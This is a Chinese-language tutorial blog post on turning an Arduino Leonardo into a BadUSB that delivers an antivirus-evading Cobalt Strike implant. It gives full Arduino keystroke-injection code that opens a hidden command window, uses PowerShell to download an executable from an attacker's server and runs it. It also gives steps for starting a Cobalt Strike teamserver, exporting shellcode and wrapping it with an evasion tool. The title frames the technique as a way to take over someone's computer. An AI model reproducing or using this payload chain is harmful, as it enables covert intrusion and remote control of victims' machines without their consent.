BadUSB一键完美免杀上线Cobalt Strike

BadUSB轻松绕过防护拿下小哥哥的电脑

 

BadUSB简介

BadUSB是利用伪造HID设备执行攻击载荷的一种攻击方式。用户插入BadUSB,就会自动执行预置在固件中的恶意代码,如下载服务器上的恶意文件,执行恶意操作等。由于恶意代码内置于设备初始化固件中,而不是通过autorun.inf等媒体自动播放文件进行控制,因此无法通过禁用媒体自动播放进行防御,杀毒软件更是无法检测设备固件中的恶意代码。这种攻击方式可以在不经意间实施攻击,而且不易被杀软或系统发觉

 

原理

HID

HID是Human Interface Device的缩写,HID设备是直接与人交互的设备,例如键盘、鼠标与游戏杆等。HID设备并不一定要有人机接口,只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击载荷隐藏在一个正常的鼠标键盘中,或者将带有攻击载荷的设备伪装成HID设备。当用户将含有攻击载荷的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。

Arduino

Arduino是一款便捷灵活、方便上手的开源电子原型平台。包含硬件(各种型号的Arduino板)和软件(Arduino IDE)。Arduino IDE可以在Windows、Macintosh OS X、Linux三大主流操作系统上运行,基于processing IDE开发。对于初学者来说,极易掌握,同时有着足够的灵活性。Arduino语言基于wiring语言开发,是对 avr-gcc库的二次封装,不需要太多的单片机基础、编程基础,简单学习后,可以快速的进行开发。

Keyboard库

keyboard库的功能是将arduino 模拟成一个usb键盘。可以控制按下/放开键盘上的任意按键。通过设置按键顺序和恰当的延时可以实现组合键的键入

 

实践

在学习的过程中,发现网上的技巧大多是powershell无文件落地免杀,但是在实践过程中发现无文件落地免杀只要隐藏窗口行为,杀软就会拦截,还有模拟鼠标点击,发现这种方法并不实用,需要目标机的分辨率,显示器尺寸都要一致才可以

准备:

  • Arduino Leonardo芯片
  • Arduino IDE
  • Cobalt Strike
  • 掩日3.0

我买的芯片地址:https://m.tb.cn/h.47514WJ?sm=af415b (不是打广告)

Arduino IDE:https://caiyun.139.com/m/i?1A5CvugTo4C0m (提取码:cfWC)

掩日3.0:https://github.com/1y0n/AV_Evasion_Tool

免杀制作:

  • Cobalt Strike服务端准备

启动服务端命令:

./teamserver x.x.x.x 123456

x.x.x.x:Cobalt Strike服务器地址

123456:Cobalt Strike 密码

  • 客户端登录,并导出C格式shellcoad

创建监听器,然后导出C 64位格式的shellcoad即可

  • 免杀

选择64位架构,将生成了payload.c拖入即可生成免杀的exe

  • 将免杀的exe上传到服务器上备用

制作BadUSB

常用API与说明

API名称 作用
Keyboard.press(char) 按下某个按键
Keyboard.release(char) 释放某个按键
Keyboard.print(constchar*) 输入字符串
Keyboard.println(constchar*) 输入字符串+回车
Keyboard.releaseAll() 释放所有按键
delay(uintmillionseconds) 延时函数

执行流程

Arduino包含两种类型的函数: voidsetup()是在设备初始化时执行的方法,只执行一次; voidloop是在设备运行时不断执行的循环函数。在编写攻击脚本时,需要根据不同的需求将攻击载荷放置于不同的函数中。

  1. 插入Arduino Leonardo芯片
  2. 打开Arduino IDE,将修改后的代码粘贴上去,先编译再上传
void setup() {  
Keyboard.begin();                                                            //开始键盘通讯 
delay(1000);//延时 
Keyboard.press(KEY_LEFT_GUI);                                                //win键 
delay(500);
Keyboard.press('r');                                                        //r键
delay(500); 
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r'); 
Keyboard.press(KEY_CAPS_LOCK);                                                //利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CMD /q /d /f:off /v:on /k MODE con: cols=15 lines=1  ");              //无回显
delay(500);
Keyboard.press(KEY_RETURN); 
Keyboard.release(KEY_RETURN); 
delay(500);
Keyboard.println("powershell");
delay(200);
Keyboard.println("$clnt = new-object system.net.webclient;");
delay(200);
Keyboard.println("$url= 'http://x.x.x.x/xx.exe';");              //远程服务器exe远控地址
delay(200); 
Keyboard.println("$file = 'd:\\xx.exe';");                             //下载到目标存放文件的地址
delay(200);                                                                
Keyboard.println("$clnt.downloadfile($url,$file)");                         //采用分段执行绕过防火墙进程防护
delay(200); 
Keyboard.println("exit"); 
delay(200);
Keyboard.println("EXIT");
delay(200);
Keyboard.println("exit");
delay(200);
Keyboard.println("EXIT");
delay(500);
Keyboard.press(KEY_LEFT_GUI);                                                //win键 
delay(500);
Keyboard.press('r');                                                        //r键
delay(500); 
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r'); 
Keyboard.println("CMD  /q /d /f:off /v:on /k MODE con: cols=15 lines=1 ");
delay(300);                                                             //本地权限绕过执行木马脚本
Keyboard.println("d:\\xx.exe");
delay(200);
Keyboard.println("EXIT");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK); 
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();                                                                        //结束键盘通讯 
}

void loop() {}

这个需要自行修改服务器地址及文件名,如果服务器上的文件名为:xx.exe,则代码上的文件名需要修改成XX.EXE

如果窗口没有退出可以自行修改延时的时间

(完)